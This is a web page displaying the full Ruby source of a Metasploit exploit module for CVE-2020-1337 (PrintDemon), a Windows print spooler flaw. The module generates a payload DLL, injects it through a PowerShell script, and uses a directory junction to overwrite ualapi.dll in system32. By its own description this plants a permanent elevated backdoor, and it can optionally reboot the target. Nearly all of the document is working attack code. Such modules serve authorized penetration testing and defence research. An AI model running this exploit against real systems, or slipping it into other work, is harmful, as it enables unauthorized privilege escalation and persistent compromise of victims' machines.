CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'msf/core/post/windows/powershell'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = ExcellentRanking
10
11
include Msf::Post::Common
12
include Msf::Post::File
13
include Msf::Post::Windows::Priv
14
include Msf::Post::Windows::Version
15
include Msf::Exploit::EXE
16
include Msf::Post::Windows::Powershell
17
18
prepend Msf::Exploit::Remote::AutoCheck
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
25
'Description' => %q{
26
This exploit leverages a file write vulnerability in the print spooler service
27
which will restart if stopped. Because the service cannot be stopped long
28
enough to remove the dll, there is no way to remove the dll once
29
it is loaded by the service. Essentially, on default settings, this module
30
adds a permanent elevated backdoor.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Peleg Hadar', # Original discovery
35
'Tomer Bar', # Original discovery
36
'404death', # PoC
37
'sailay1996', # PoC
38
'bwatters-r7' # msf module
39
],
40
'Platform' => ['win'],
41
'SessionTypes' => ['meterpreter'],
42
'Targets' => [
43
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
44
],
45
'DefaultTarget' => 0,
46
'DisclosureDate' => '2019-11-04',
47
'References' => [
48
['CVE', '2020-1337'],
49
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'],
50
['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],
51
['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']
52
],
53
'Notes' => {
54
'Stability' => [CRASH_SAFE],
55
'Reliability' => [],
56
'SideEffects' => [
57
IOC_IN_LOGS,
58
ARTIFACTS_ON_DISK
59
]
60
},
61
'DefaultOptions' => {
62
'DisablePayloadHandler' => true
63
},
64
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
65
'Compat' => {
66
'Meterpreter' => {
67
'Commands' => %w[
68
powershell_execute
69
stdapi_sys_config_getenv
70
stdapi_sys_power_exitwindows
71
]
72
}
73
}
74
)
75
)
76
77
register_options([
78
OptString.new('JUNCTION_PATH',
79
[false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]),
80
OptString.new('DESTINATION_PATH',
81
[false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]),
82
OptString.new('DESTINATION_FILE',
83
[false, 'Filename to overwrite (ualapi.dll by default).', nil]),
84
OptString.new('PRINTER_NAME',
85
[true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]),
86
OptBool.new('RESTART_TARGET',
87
[false, 'Restart the target after exploit (you will lose your session until a second reboot).', false])
88
])
89
end
90
91
def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload)
92
# Read in Generic Script
93
script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1')
94
fail_with(Failure::BadConfig, 'No exploit script found') if script.nil?
95
96
# Replace Values in Generic Script
97
vprint_status('Replacing variables')
98
junction_filepath = "#{junction_path}\\#{destination_file}"
99
# The random string appears to be required when using the psh_exec
100
# It may be due to the way we break apart the script?
101
# I would not be upset to find the root cause and fix it.
102
script.gsub!('JUNCTION_FILEPATH', junction_filepath)
103
script.gsub!('PRINTER_NAME', printer_name)
104
script.gsub!('JUNCTION_PATH', junction_path)
105
script.gsub!('DESTINATION_PATH', destination_path)
106
script.gsub!('B64_PAYLOAD_DLL', b64_payload)
107
108
# Run Exploit Script
109
print_status("Running Exploit on #{sysinfo['Computer']}")
110
begin
111
# client.powershell.execute_string(code: script)
112
session.powershell.execute_string({ code: script })
113
rescue Rex::TimeoutError => e
114
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
115
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
116
end
117
end
118
119
def exploit
120
if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty?
121
win_dir = session.sys.config.getenv('windir')
122
destination_path = "#{win_dir}\\system32"
123
else
124
destination_path = datastore['DESTINATION_PATH']
125
end
126
if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty?
127
destination_file = 'ualapi.dll'
128
else
129
destination_file = datastore['DESTINATION_FILE']
130
end
131
if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty?
132
junction_path = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}"
133
else
134
junction_path = datastore['JUNCTION_PATH']
135
end
136
client.core.use('powershell') if !client.ext.aliases.include?('powershell')
137
printer_name = datastore['PRINTER_NAME']
138
payload_dll = generate_payload_dll
139
140
# Check target
141
vprint_status('Checking Target')
142
validate_active_host
143
validate_payload
144
145
# Run the exploit
146
_output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
147
sleep(3) # make sure exploit is finished
148
149
# Reboot, if desired
150
if datastore['RESTART_TARGET']
151
sleep(10)
152
vprint_status("Rebooting #{sysinfo['Computer']}")
153
begin
154
session.sys.power.reboot
155
rescue Rex::TimeoutError => e
156
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
157
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
158
end
159
end
160
end
161
162
def validate_active_host
163
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
164
rescue Rex::Post::Meterpreter::RequestError => e
165
elog('Could not connect to session', error: e)
166
raise Msf::Exploit::Failed, 'Could not connect to session'
167
end
168
169
def validate_payload
170
vprint_status("Target Arch = #{sysinfo['Architecture']}")
171
vprint_status("Payload Arch = #{payload.arch.first}")
172
unless payload.arch.first == sysinfo['Architecture']
173
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
174
end
175
end
176
177
def check
178
version = get_version_info
179
vprint_status("OS version: #{version}")
180
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
181
182
return Exploit::CheckCode::Safe
183
end
184
end
185
186